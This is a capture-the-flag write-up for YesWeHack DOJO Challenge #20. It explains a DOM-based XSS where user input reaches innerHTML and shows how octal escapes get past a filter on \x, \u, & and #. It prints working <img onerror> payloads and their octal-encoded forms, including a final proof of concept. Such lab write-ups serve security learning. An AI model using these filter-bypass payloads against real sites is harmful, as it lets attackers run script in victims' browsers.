YesWeHack DOJO#20
Write-up of the YesWeHack DOJO Challenge #20.
Scenario
Code overview
Here is the JavaScript code used in the challenge :
First of all, we see that we have two inputs, $username and $cmd.
The $username param accepts only letters, and $cmd bans \x
, \u
, &
, #
. Already i don’t think we can inject anything in the $username, let’s focus on $cmd which is way more permissive.
These inputs are checked in the following code :
/* [Help Guide]
* (1) => Check `user` if it's valid, if not valid (||) user = 'butters'.
* (2) => Check if the `command` exists, if not valid (||) command = 'not found'
*/
var user = users[username] || users['butters']//(1)
var command = user[cmd] || 'Command \''+cmd+'\' not found.';//(2)
//Output:
document.getElementById('inpt').innerHTML = cmd+'<br>'+command;
document.getElementById('user').innerText = user.whoami+'@vr';
If we pass a command that does not exist in $cmd, our value will be concatenated in the “Command not found.” message. This message will then be added to the DOM with document.innerHTML
function.
Here is the vulnerability : If we can inject a payload in the $cmd, the use of this function will make it display as it is, so we can execute JavaScript on client-side with a payload looking like <img src=x onerror="alert(1)"/>
.
Exploitation
Since all quotes and signs are not allowed, we will need to encode the payload. Hexadecimal and unicode are blocked (with \x
and \u
), but we can still encode using Octal form because the only special char we need, \
, is allowed.
A <img src=x onerror="alert(1)"/>
payload octal encoded now looks like : \74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\42\141\154\145\162\164\50\61\51\42\57\76
.
And if we submit it in $cmd, it triggers the alert() !
Challenge goals
To solve the challenge, we have 3 requirements to complete :
- Execute a
DOM XSS
from $cmd : Done above. - Be logged in as
cartman
: The simplest way is to use the $username parameter since we don’t use it anyway. - Change Butters connection to
offline
: Let’s craft a payload making it, using the DOM XSS we just found.
Now that we have a working method, we can set the Butter’s connection status to offline
to make him free with this injected code : <img src=x onerror="butters.connection='offline'"/>
.
The octal encoded form is the following : \74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\42\142\165\164\164\145\162\163\56\143\157\156\156\145\143\164\151\157\156\75\47\157\146\146\154\151\156\145\47\42\57\76
We then submit the form with this payload in $cmd, and cartman
as $username :
We successfully completed the challenge :)
PoC
Final payload :
$username : cartman
$cmd : \74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\42\142\165\164\164\145\162\163\56\143\157\156\156\145\143\164\151\157\156\75\47\157\146\146\154\151\156\145\47\42\57\76